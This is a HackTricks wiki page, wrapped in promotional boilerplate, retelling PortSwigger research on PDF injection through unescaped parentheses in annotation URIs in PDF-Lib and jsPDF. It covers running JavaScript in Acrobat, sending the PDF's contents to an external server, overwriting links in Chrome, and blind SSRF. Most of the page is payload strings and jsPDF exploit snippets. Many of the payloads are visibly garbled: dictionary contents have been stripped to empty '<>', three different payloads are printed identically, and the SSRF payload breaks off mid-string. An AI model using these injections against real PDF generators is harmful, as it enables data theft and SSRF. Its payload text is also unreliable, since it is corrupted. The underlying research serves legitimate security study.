🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
**If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript or steal the PDF content.**
The following information was taken from [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
This time, I was using [PDFLib](https://pdf-lib.js.org). I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was:
`...` \
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
[Full code:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
`/Border [ 0 0 2 ]`\
`/C [ 0 0 1 ]`\
`/A <<`\
`/Type /Action`\
`/S /URI`\
`/URI (injection))`\
`>>`\
`>>`
As you can clearly see, the injection string is closing the text boundary with a closing parenthesis, which leaves an existing closing parenthesis that causes the PDF to be rendered incorrectly:
![Screenshot showing an error dialog when loading the PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert(1) of PDF injection.
Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1) You could inject additional annotation actions and 2) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:`/blah)>>/A<>/>>(`
First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:`/blah)>>/A<>/>>(`
The alert is not needed; I just added it to prove the injection was executing JavaScript.
Next, just for fun, I looked at stealing the contents of the PDF without using JavaScript. From the PDF specification, I found out that you can use an action called SubmitForm. I used this in the past when I constructed a PDF for a scan check in Burp Suite. It does exactly what the name implies. It also has a Flags entry in the dictionary to control what is submitted. The Flags dictionary key accepts a single integer value, but each individual setting is controlled by a binary bit. A good way to work with these settings is using the new binary literals in ES6. The binary literal should be 14 bits long because there are 14 flags in total. In the following example, all of the settings are disabled:`0b00000000000000`
To set a flag, you first need to look up its bit position (table 237 of the [PDF specification](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:`0b00000100000000`
If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:`/blah)>>/A<>/>>(`
## sPDF
Next I applied my methodology to another PDF library - [jsPDF](https://parall.ax/products/jspdf) - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:`doc.createAnnotation({bounds:`\
`{x:0,y:10,w:200,h:200},`\
``type:'link',url:`/input`});``\
`//vulnerable`
So I generated a PDF using their API and injected PDF code into the url property:
`var doc = new jsPDF();`\
`doc.text(20, 20, 'Hello world!');`\
`doc.addPage('a6','l');`\
`doc.createAnnotation({bounds:`\
`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\
`/blah)>>/A<>/A<> >>`\
`<> >>`\
``<>/(`});``\
`doc.text(20, 20, 'Auto execute');`
When you close the PDF, this annotation will fire:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\
``<>/(`});``\
`doc.text(20, 20, 'Close me');`
## Chrome
I've talked a lot about Acrobat but what about PDFium (Chrome's PDF reader)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`});``\
`doc.text(20, 20, 'Test text');`
This would navigate to portswigger.net when clicked. Then I moved on and tried different injections to call JavaScript, but this would fail every time. I thought it was impossible to do. I took a step back and tried to manually construct an entire PDF that would call JavaScript from a click in Chrome without an injection. When using an AcroForm button, Chrome would allow JavaScript execution, but the problem was it required references to parts of the PDF. I managed to craft an injection that would execute JavaScript from a click on JSPDF:`var doc = new jsPDF();`\
``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> <>/A<> <>/A<> >>``\
``<> /Rect [0 0 900 900] /AA <>/(`});``\
`doc.text(20, 20, 'Test');`\
``
## SSRF in PDFium/Acrobat
It's possible to send a POST request with PDFium/Acrobat to perform a SSRF attack. This would be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) since you can make a POST request but can't read the response. To construct a POST request, you can use the /parent dictionary key as demonstrated earlier to assign a form element to the annotation, enabling JavaScript execution. But instead of using a button like we did before, you can assign a text field (/Tx) with the parameter name (/T) and parameter value (/V) dictionary keys. Notice how you have to pass the parameter names you want to use to the submitForm function as an array:`#)>>>><>/A<> >> <>/A<
🎙️ HackTricks LIVE Twitch Wednesdays 5.30pm (UTC) 🎙️ - 🎥 Youtube 🎥
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.